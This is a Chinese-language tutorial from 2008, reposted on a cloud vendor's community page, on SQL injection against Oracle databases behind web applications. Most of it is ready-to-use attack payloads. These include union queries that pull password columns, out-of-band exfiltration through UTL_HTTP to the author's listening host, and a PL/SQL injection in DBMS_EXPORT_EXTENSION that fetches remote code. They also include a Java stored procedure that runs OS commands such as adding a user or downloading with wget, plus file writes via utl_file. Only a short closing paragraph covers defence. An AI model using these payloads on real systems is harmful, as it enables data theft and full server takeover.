Oracle web環境注射技術

來源:互聯網
上載者:User
建立時間:2008-03-19
文章屬性:原創
文章提交:T_Torchidy (jnchaha_at_163.com)

Oracle web環境注射技術
#
#BY    劍心
#http://www.loveshell.net/
#

前言    

本人不是一個專業的資料庫管理員,也不是一個專門研究oracle安全的研究員,文中的語句很多都寫得非常不專業,對資料庫理解也不夠,甚至很多語句可能在不同版本上並不適合,一些技術也是牛人們很早提到過的,本文只是從一個web安全的角度來看如何入侵一台被防火牆防護的Oracle資料庫,對一些入侵技術做了web入侵上的總結和延伸,盡量將原理講得明白。本文也並沒有對sql注射中存在的一些共性進行討論 ,如利用substr函數和經典注射這些,而是站在oracle資料庫的角度,盡量展現一些Sql注射入侵的思路以及如何利用資料庫的一些特性,在web上做最大的入侵。一些牛人的工具也即將發布出來,希望還有人喜歡手工優美的注射。

一    Oracle 簡單介紹

Oracle作為一款比較早期出現的RDBMS資料庫,市場佔有率比較大,經常用在一些大型資料庫上。它本身除了很好地支援各種SQL語句外,還提供了各種豐富的包,預存程序,甚至支援java和建立library等特性,如此強大的功能為Hacking提供了很好的便利。

Oracle自身有很多預設的帳戶,並且有很多的預存程序,這些預存程序是由系統建立的,很多預設都是對public開放的,在過去的幾年裡公布了很多oracle的漏洞,包括溢出和SQL注射在內的許多漏洞。在這裡面,SQL注射漏洞顯得格外嚴重,因為在Oracle裡,在不加其他關鍵字AUTHID CURRENT_USER的情況下,建立的預存程序在運行時是以建立者身份啟動並執行,而public對這些預存程序都有許可權調用,所以一旦內建預存程序存在注射的話,很容易讓普通使用者提升到Oracle系統許可權。Oracle本身內建了很多的帳戶,其中一些帳戶都有預設的密碼並且具有CONNECT的許可權,這樣如果oralce的連接埠沒有受到防火牆的保護又可以被人遠端連線的話,就可以被人利用預設帳戶遠程登陸進系統然後利用系統裡的預存程序的SQL注射漏洞,系統就會淪陷,當然,登陸進oracle還需要sid,不過這也並不困難,oracle的tnslintener預設沒有設定密碼,完全可以用tnscmd.pl用services命令查出系統的sid(到比較新的版本,這個漏洞已經被修複了),這也是非常經典的入侵oracle的方式。

二    Oracle Web Hacking 技術背景

    oracle豐富的系統資料表。oracle幾乎所有的資訊都儲存系統資料表裡,當前資料庫啟動並執行狀態,目前使用者的資訊,當前資料庫的資訊,使用者所能訪問的資料庫和表的資訊......系統資料表就是整個資料庫的核心部分,通過恰當地查詢需要的系統資料表,幾乎可以獲得所有的資訊。如sys.v_$option就包含了當前資料庫的一些資訊,如是否支援java等,all_tables裡就包含了所有的表資訊,all_tab_colmuns包含所有的列資訊等等,為我們獲得資訊提供了非常大的便利,後面將有關於如何利用系統資料表擷取敏感資訊的描述。

在oracle的各種漏洞裡,需要特別說下預存程序的注射,其實也並沒有什麼神秘,預存程序和函數一樣是接受使用者的輸入然後送到資料庫伺服器解析執行,如果是採取的組裝成SQL字串的形式執行的話,就很容易將資料和命令混淆,導致SQL注射。但是根據注射發生的點不同,一樣地注射漏洞的性質也不同。Oracle使用的是PL/SQL,漏洞發生在select等DML語句的,因為不支援多語句的執行,所以如果想運行自己的語句如GRANT DBA TO LOVEHSELL這些DDL語句的話,就必須建立自己的函數或預存程序,如果沒有這相關的許可權還可以利用cursor注射,用dbms_sql包來饒過限制。大多數的注射正是上面這些有限制的注射,必須依靠自己建立的一些其他包或者cursor來實現提升許可權的目的,但是還是有些非常少見但是注射環境非常寬鬆的漏洞,就是使用者的輸入被放在begin和end之間的匿名pl/sql塊的注射,這種環境下的注射可以直接注射進多語句,幾乎沒有任何限制,而可以看到,正是這種閃光的漏洞為我們的web注射技術帶來了怎樣的輝煌。

好了,上面談到的都是Oracle的一些攻擊技術,但是現在很多的環境是,對外開放web服務,後台資料庫被防火牆保護著,無法得到資料庫的太多詳細資料,已經不能直接登陸進資料庫進行操作,這個時候就要考慮利用web下的漏洞來攻擊背景資料庫了。現在來看下如何進行Oracle web環境下注射吧!oracle可以在各種web環境下良好地工作,各種web環境對我們注射的影響也並不是很大,在asp,.net,jsp中對進入的參數基本沒做任何過濾,但是由於.net,jsp語言是強型別語言,在數字類型的注射上即使sql語句沒有做過濾但是可能在接受參數的時候就出錯了,所以注射出現在字串類型的參數上比較多一些。在php環境下,所有的'會被轉義為\',在oracle環境裡\'並不會成為轉義(在oracle環境裡的正確轉義應該為''),但是在我們自己的注射語句裡使用'會因為被轉成\'而遭到破壞,所以在注射時不能使用'。除此之外,web環境下就沒什麼限制了。在資料庫方面,如果語句採取的是參數的方式執行,也不能夠被注射,除非使用的是字串串連的方式(由於字串串連的方式比較簡單,也因為一些曆史上的原因,很多程式員往往會偏向於這種方式,),字串串連方式的話也會分為兩種,參數在select,update,insert這些DML語句之間,與參數在pl/sql匿名塊之間,如果web程式沒有捕獲錯誤,那麼我們很容易根據錯誤判斷出當前語句的類型,後面會提到。在pl/sql匿名塊之間的比較少見,但也不排除,這樣的注射基本也是沒有什麼限制的,可以執行多語句,做任何事,跟本地登陸沒有任何區別。

三    Oracle Web Hacking 基本思路

下面說說如何確定目標,注射參數的確定就由大家自己來了,主要是如何判斷資料庫屬於oracle,根據資料庫的特性很容易判斷出來,oracle支援--類型注釋,但是不支援;分隔執行多語句,oracle有很多系統資料表,譬如all_tables,通過對這些表的訪問也可以判斷出是否屬於oracle,另外在oracle裡的一些函數也可以用來判斷,譬如utl_http.request這些,語言上的小細節也可以用來區分系統,譬如在oracle裡||是串連符號,但是在其他資料庫裡就不是了,所以 and chr(123)||chr(123)=chr(123)||chr(123)這樣的,如果可以順利執行,那麼就基本應該是oracle了,另外,一些指令碼在出現資料庫查詢錯誤時,對錯誤資訊沒有處理,也會泄露真實的後台資料庫,這個可以很明顯地看出來。

然後需要確定的是注射點的類型,一般的情況下,我們進入的參數不是數字類型就基本是字元類型(其他很多人所說的搜尋型注射其實還是應該歸結於字元類型的),對於數字類型的基本不用考慮什麼,很容易添加--注釋字元就可以讓語句正確閉合了,如果是字元類型的就要考慮如何讓整個語句正確,通常是添加'以及--這些注射字元來構造自己的注射環境。在一些複雜的情況下,如同一個參數在多個sql語句和邏輯裡出現,就要自己小心構造出符合環境的注射語句了,記住,我們只需要一個能便利插入自己sql命令的完好環境:)

在確定目標資料庫為Oracle並且可以注射的時候,就可以開始嘗試構造語句了。一般首先要進行的是判斷當前的許可權,在Oracle資料庫裡許可權比較高的是DBA許可權,擁有Oracle資料庫的所有許可權,另外如果目前使用者的許可權授予不對的話,也可以實現跨庫查詢的效果,可以通過對dba_tables這樣的dba的表進行嘗試訪問來測試是否是dba。在一般的注射中,分為select類型注射,insert類型注射以及update類型等。update和insert類型的注射可以根據上下文來更改資料庫中的資料,如利用update注射將表中某個重要欄位更改成我們想要的值,即使這些資料庫無關緊要也沒關係,我們可以利用select子語句來將我們需要的資料查詢出來然後在另外某個地方將這個資料讀出來,只要遵循資料庫的文法,實現自己的目的就可以了。在這裡主要說下select類型的注射,如果我們能控制select語句的一部分的話,就可能實現這種類型注射,如果查詢的結果可以返回到頁面中的時候,還可以嘗試使用union查詢出結果,直接將內容顯示在頁面當中,這是最方便的一種。事實上後面可以看到,無論是什麼注射,在oracle的web環境下,都可以直接執行系統命令返回shell。

Oracle中獲得敏感性資料,首先就是oracle有系統資料表,任何有許可權獲得資料都可以從這裡獲得,關鍵的系統資料表有all_tables,all_objects等,都是有許可權能訪問的,包括別人賦予你許可權的,所以如果你的許可權是dba的話,這能看到系統中所有的表,注射中一個技巧就是如果你需要從後台登陸但是不知道密碼就可以在這裡使用了,譬如猜測列名含不含有password等方法,後面的例子中也有講述。

另外比較需要瞭解的就是union查詢,在oracle union查詢中和其他資料庫類似,要求列數一樣,還要求類型完全一致,oracle類型有很多,常見的有字元類型,數字類型以及日期類型等等,一般我們能用來做union查詢並且顯示的是字元類型,所以需要精確定位哪個欄位符合我們的要求(1 會在頁面顯示,資料從進入到出來會有很多的流程,很多資料會在中間經過多次的處理,所以要想找到能顯示出來的資料,很多時候並不是那麼順利,這種顯示包括很多地方,包括返回的http頭,頁面本文甚至是cookie等。    2 字元類型 因為我們出來的資料大部分都是字元類型,所以需要這個類型用來正確地匹配  3長度需要足夠 儘管我們可以用一些字元函數來解決這個問題,但是夠長的欄位總是非常簡便 ),oracle並不會自己做資料類型轉換,但是oracle中提供了一個NULL類型,可以匹配所有的資料類型,所以我們在定位完欄位數之後就可以在union的各個欄位填寫null來匹配,另外oracle不支援select 1這樣的查詢,文法要求select必須有關鍵字,如果我們沒有表可以用,可以用系統中預設誰都有許可權的表dual。關於定位欄位數其實也比較簡單,和其他資料庫一樣可以利用order by 1-- 這樣操作,如果欄位個數存在就會正常,通常頁面的邏輯會讓這個參數 不只在一個地方出現,所以order by地方不一致,所以不能進行union查詢。在這裡可能會遇到目標語言不支援''的情況,所以可以使用chr這些函數來處理這些問題。

即使不支援union,oracle的一些特性還是讓我們輕易拿到想要的資訊,就是用系統的utl_http.request包,這個包你可以看做是一個普通的函數,用來取得遠方web伺服器的請求資訊,所以我們完全可以自己監聽連接埠,然後通過這個函數用請求將需要的資料發送過來,這個時候我們還可以用來查看資料庫可不可以上網以及出口IP,是個非常重要的一點。正是有了這些系統裡豐富的包和函數以及預存程序,使得只要有一個注射點,就可以在oracle裡做任何事情,包括許可權允許的和許可權不允許的,記住,是任何事。

敏感性資料只是我們想要的一部分,通常直接殺入oracle可能更有吸引力,這個時候查看系統的資訊就非常地有價值了,對注射的靈活運用也非常重要。oracle在啟動之後,把系統要用的一些變數都放置到一些特定的視圖當中,可以利用這些視圖獲得想要的東西。通常非常重要的資訊有

1    目前使用者許可權    (select * from session_roles)
2    當前資料庫版本    (select banner from sys.v_$version where rownum=1)
3    伺服器出口IP    (用utl_http.request可以實現)
4    伺服器監聽IP    (select utl_inaddr.get_host_address from dual)
5    伺服器作業系統    (select member from v$logfile where rownum=1)
6    伺服器sid    (遠端連線的話需要,select   instance_name   from   v$instance;)
7    當前串連使用者    (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
......

知道上面這些之後就可以大致清楚伺服器是在外網還是內網,支不支援遠端連線,如果支援遠端連線就可以嘗試用預設的密碼和剛得到的sid登陸了,在獲得本地的許可權之後,就可以嘗試利用眾多的包裡面存在的注射提升許可權了,在http://www.milw0rm.com/搜尋oracle關鍵字可以找到很多這樣的漏洞。

如果是遠程並且不允許串連的的話,我們還是可以利用包的sql注射的,我上面說可以做任何事的,可以利用一個注射點輕易獲得shell。上面說到在oracle裡的包注射分好幾種,這裡需要的就是pl/sql塊的注射,這個注射允許直接執行多語句,所以我們可以在web注射裡利用這個直接以sys的身份執行多條語句,如添加使用者,建立自己的預存程序等等,幾乎沒有限制。但是系統的這種注射也是非常地少見,在06年被人公布過一個,也就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES,具體的漏洞可以不瞭解,我也沒有找到細節,後面有我做的一些簡單黑盒分析,對於我們也只需要知道這是系統裡存在的一個預存程序的pl/sql注射,可以導致執行多語句就可以了,而且oracle的補丁機制還不是很完善,基本上不會有管理員去patching這些,所以在我們看來就把這當作是系統提供的執行多語句的一個Hacking介面好了。如果你遇到一個sql注射本身就是在pl/sql裡的話沒,那麼更要恭喜你了

通過上面的幾步基本讓你可以獲得你想要的東西,並且可以得到一個可以執行多語句的環境。在多語句執行的環境裡,就可以利用oracle本身強大的功能,如支援java建立外部預存程序,支援utl_file包寫檔案等等,很方便地利用java寫一個shell或者直接利用java包返回一個系統的shell。

四    真實世界裡的注射

那麼一個真實世界的注射應該是個什麼樣子呢?讓我們試試如何從注射點來獲得一個shell:)

首先,我們找到一個可能存在注射的頁面,list.jsp?username=loveshell,我們添加一個'結果出錯了,通過爆出的錯誤知道這是一個oracle的後台資料庫,如含有ORA-xxxx這樣的都是oracle,然後用語句:

    list.jsp?username=loveshell' and ''||'1'='1    正常
    list.jsp?username=loveshell' and ''||'2'='1    返回空
    list.jsp?username=loveshell'--

這樣可以知道是一個oracle的字元類型的注射點,那麼我們就可以用這種方式插入自己的SQL語句了

    list.jsp?username=loveshell' and [我們的sql語句] --

這個時候我們就可以根據自己的目標考慮後續的入侵思路了,一種是向web方向發展,通過查詢資料庫的資訊來滲透web,一種就是直接入侵資料庫,當然,最完美的情況下是oracle和web是一台機器。先說說如何查詢資料庫裡儲存的資訊吧!要想取得資訊就要將資訊反饋回來,一種是利用union查詢,譬如這裡我們的入侵手法類似於下面:

    list.jsp?username=loveshell' order by 10 --     錯誤,如果錯誤資訊被反饋的話應該會出現xx coloum不存在之類的,欄位數小於10
    list.jsp?username=loveshell' order by 5 --    正常顯示,欄位數大於5
    ......
    最後發現到order by 8的時候錯誤,order by 7 就正常,說明是7個欄位。注意這裡,一般的時候,頁面的邏輯很簡單,所以可以這樣order by猜測,但是如果這個參數進入了2個以上sql語句,裡面結果的欄位數不一,就難用這種方法了,當然,如果進入2個以上Sql語句的話,估計union查詢也無法使用了,因為sql語句的前後欄位數會不一,無法滿足條件,後面我們將說到一種萬能的擷取資料的方法,這裡先說比較直觀的union查詢。

    list.jsp?username=loveshell' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--    用7個NULL來匹配對應的欄位不會出現欄位類型不一的情況,與mysql不同,後面的select語句必須加一個存在的表,這裡是dual。
    這裡正常返回,然後我們就可以繼續了,尋找的用做資訊反饋的欄位需要滿足我上面在基本思路裡的幾個條件。

    list.jsp?username=loveshell' and 1=2 union select 1,NULL,NULL,NULL,NULL,NULL,NULL from dual--        正常
    list.jsp?username=loveshell' and 1=2 union select 1,2,NULL,NULL,NULL,NULL,NULL from dual--        錯誤,第二個欄位不是數字類型
    list.jsp?username=loveshell' and 1=2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual--        錯誤,第二個欄位不是字元類型
    
    這種情況是可能的,因為欄位裡還包括其他的如日期等類型,這種類型對於我們反饋資訊沒什麼用,所以用NULL直接跳過。

    list.jsp?username=loveshell' and 1=2 union select 1,NULL,'3',NULL,NULL,NULL,NULL from dual--        這個時候正常了,而且在頁面的對應的位置顯示了,這個欄位正是我們要找的。有的時候如果想看某個數字是多少怎麼辦呢?譬如想看記錄的條數,直接二分法是可以的,但是直接顯示出來還是比較直觀,譬如想看dba_tables的記錄數

    list.jsp?username=loveshell' and 1=2 union select 1,to_char((select count(*) from dba_tables),'0000000'),NULL,NULL,NULL,NULL,NULL from dual--

    當然還有其他to_系列函數,間接實現其他資料庫裡的自動轉換。這個欄位在頁面顯示並且也足夠長,放得下我們的資料,所以我們就可以充分利用這個欄位來進行查詢了,譬如獲得系統的版本資訊可以用

    list.jsp?username=loveshell' and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),NULL,NULL,NULL,NULL,NULL from dual--

    如果不能使用union,也沒有關係,只要是oracle資料庫,我們一樣可以把資訊給返回來,不用經典查詢那麼悲觀,首先本地用nc -l -vv -p 9999,然後就可以很簡單地用

    list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select banner from sys.v_$version where rownum=1))=1--
    
    這個時候loveshell.net的9999連接埠就應該返回sys.v_$version的banner了,就是資料庫的版本,我們還獲得了資料庫所在網路的ip,呵呵,另外還知道資料庫是否允許外連等資訊。這裡使用子查詢來獲得資料,Oracle沒有limit這樣的語句所以可以用where rownum=1來返回第一條資料。但是如果想知道其他某一條記錄怎麼辦呢?直接rownum=2是不行的,這裡可以再次嵌套一個子查詢

    list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select data from (select rownum as limit,banner as data from sys.v_$version) where limit =2)=1--

    這樣就可以得到第二條記錄了,靈活運用可以很快取得需要的資料。

其他的如背景帳戶什麼的都可以這樣返回來。這種資料的竊取手段適用於update和insert等等一切可以使用函數的地方:),如果不確信存不存在UTL_HTTP包,可以用語句select count(*) from all_objects where object_name='UTL_HTTP'來判斷了,注意,在系統資料表裡的資料是大小寫敏感的,但是關鍵字本身是大小寫不敏感的。另外某些少數主機也是沒有配置dns或者不能上網,沒有配置dns的話可以通過用ip訪問的方法來測試,不能上網的就要用其他方法了。
    能擷取資料了,我們繼續向web的後台靠攏,如果我們知道了背景地址但是沒有密碼,我們就可以通過查詢系統資料表來找找敏感欄位如passwd在哪,然後用上面的資訊竊取手段給弄回來。all_tables包含了所有的表的資訊,想找有包含passwd的欄位在哪就可以用all_tab_columns:

    list.jsp?username=loveshell' and 1=2 union select 1,NULL,(select table_name||chr(35)||column_name from all_tab_columns where column_name like '%25PASS%25' and ROWNUM=1),NULL,NULL,NULL,NULL from dual--
    
    其中的%25為%的轉碼,這樣就能獲得我們需要的敏感性資料了,另外注意在oracle的系統資料表裡資料都是大寫的,所以用PASS而不是pass,或者用函數轉成小寫也可以,如lower(column_name) like '%25pass%25',進入web後台後可以繼續通過背景功能進行滲透了。
    剛才說的另外一種思路是直接獲得系統的shell,在windows環境下,oracle是以服務的形式啟動的,這樣通過web注射就可以直接獲得system許可權,是非常誘人的。我們來看看如何操作吧!首先當然要用到我們上面說到的系統中比較少見的pl/sql注射,另外為了說明在php環境下對注射的處理,我們現在來假設我們的入侵環境是在php+Oracle上面,並且防火牆已經限制了對oracle連接埠的直接存取,如果是開放的話用網路上的直接添加系統帳戶的方法也很容易成功!
    首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES這個函數的注射的一些簡單解析

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--','SYS',0,'1',0)=''
    這是我看到的原形,分析下就知道是在第三個參數存在的注射,並且是因為"沒有過濾造成的,把第三個參數提取出來就是

    DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--

    可以看到DBMS_OUTPUT".PUT(:P1);與END;--之間的所有部分都是原有漏洞注射語句的地方,裡面是''是因為我們要提交進',但是外層將字串括起來的正是',所以需要對'進行轉義,用的就是'',後面可以看到用chr函數可以避免這一點。這裡我們將要提取出來用在web Hacking上,這個函數提取出來的原形就是:

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多語句]END;--','SYS',0,'1',0)

    我們要執行多語句,並且不希望見到會被php處理的'的話就要對這個進行簡單地再變形,多語句裡如果出現'的話需要用''轉義。

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多語句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)

    沒有出現',並且可以執行多語句的的部分也很明確,用在web hacking上的模式就是

    list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多語句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--

    呵呵,前面第一個loveshell'不被影響是因為會被轉成loveshell\',而這個被oracle看作是loveshell\這個字串後面跟一個',完全合法。這個漏洞是跟系統有關的,我們起碼需要測試一下漏洞存在與否吧?也很簡單,如果整個參數被處理好的話,我們在多語句裡填寫非法的語句是應該正常解析才對,所以測試可不可以執行多語句就用

list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[一個非法的sql語句,如chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--

    如果出錯了的話就說明漏洞是存在的(我測試的主機基本都有這個漏洞:P)但是到這大家也可以看到一個非常麻煩的事情,我們的多語句裡的每個字元都轉換成為chr的話整個參數將非常龐大,所以這裡借用以下shellcode的概念,將我們的exploit放在另外一個地方,看我的語句吧!

    list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request('http://www.loveshell.net/shellcode.txt')||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--

    對,既然我們傳的多語句只是字串,為什麼不把字串放到遠端機器上然後用utl_http包取回來執行呢:),這裡為了示範方便我並沒有對http://www.loveshell.net/shellcod.txt進行chr轉換,實際php環境下還是需要轉換的。
    好了,到這裡我們能做到的是讓Oracle將我遠程機器上的一個檔案作為PL/SQL運行了,很好,把前面的都放開,看如何利用現在的條件返回一個shell。查詢相關的文檔,知道比較通用一點返回shell的好方法是利用java外部預存程序,並且現在的除非是個人機器上,一般的都是支援java的選項的,所以我們需要先來用java建立一個執行命令的預存程序。作為我們的shellcode需要變換一點東西,就是將必要的地方的'變成'',為什麼要這樣前面講過了。

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command)     throws IOException {Runtime.getRuntime().exec(command);}};'';END;';

    這樣就建立了一個JAVACMD的java包,裡面含有個函數execCommand,然後開始建立Oracle的預存程序,
        
    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)'''';'';END;';

    這樣放到我們的http://www.loveshell.net/shellcod.txt裡,然後依次請求上面的那個注射的語句(使用之前請先將其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替換為utl_http.request(chr()....chr())的形式),就會在伺服器建立儲存了個javacmdproc過程了,參數是字串,會被當作命令執行。我們執行試試

    將shellcode.txt內容換成
    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add'''');end;'';END;';
    或者在linux下就是
    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget http://www.loveshell.net/ -O /tmp/loveshell'''');end;'';END;';

    呵呵,有可能成功,但是也有可能出現類似於下面的情況

    ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission
<<ALL FILES>> execute) has not been granted to LOVESHELL. The PL/SQL to grant
this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' )
ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
ORA-06512: at line 1

    沒關係,java在oracle也是需要許可權的,我們需要把相關的許可權給它才可以哦!在Oracle裡這樣操作的

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell;'';END;';
    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<<ALL FILES>>'''',''''execute'''');end;'';END;';
    
    
    各個伺服器可能設定不一樣,根據他提示要求的許可權賦予給它就可以了。
    根據自己的情況將這個語句類似的語句放到shellcode.txt裡執行,然後就可以順利地執行命令了。java本身是很強大的,直接返回shell也是可能的。當然,當資料庫在原生時候,利用系統中存在的utl_file包寫一個檔案也是可以的。這裡提供簡單的,可以作為shellcode.txt裡啟動並執行代碼

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin    fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line);    if (utl_file.is_open(fd) = true) then        utl_file.fclose(fd);    end if;end;'';END;';

    這是建立能寫檔案的utlwritefile預存程序,注意這裡的目錄是oracle裡的虛擬目錄,不是物理目錄,我們需要自己建立一個虛擬目錄並且給予相關的許可權

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';

    這裡假設需要寫東西到f:/inc裡,建立了個utl_dir_new的oracle目錄,然後給許可權

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';

    注意UTL_DIR_NEW的大小寫,這裡寫了個test到UTL_DIR_NEW裡面的1.php裡。    

五    環境限制

    上面示範的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES這個函數的漏洞,漏洞跟版本有很大關係,所以上面的資訊探測也比較重要。實際上,在早點的8i版本裡也有類似的漏洞,ctxsys.driload.validate_stmt('grant dba to scott')這樣的形式可以直接以高許可權身份執行各種Oracle語句,也可以相應地用在web環境注射裡。只要存在可用來執行多語句的漏洞,web注射就有非常大的利用價值。

六    關於防護

    首先就是盡量有好的編程習慣,避免使用字串串連的方式來執行Sql語句,如果一定要採用字串串連方式來執行Sql,那也對進入的參數必須做好過濾,是數字類型的話就強製為數字,是字串類型的就要做好過濾,從資料庫等其他途徑過來的資料也必須做好驗證,在web app上杜絕Sql注射漏洞。另外在Oralce方面就是要做好對1521連接埠的防火牆過濾,避免被人直接登陸,對一些不需要的包和預存程序可以考慮刪除,對一些Sql注射漏洞也要及時做好補丁,避免資料庫的淪陷。

參考資料及網站

    1    http://www.milw0rm.com/
    2    《The_Oracle_Hacker's_Handbook_Hacking_and_Defending_Oracle》
    3    http://blog.csdn.net/kj021320/archive/2007/08/28/1762769.aspx
    4    http://www.red-database-security.com/

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.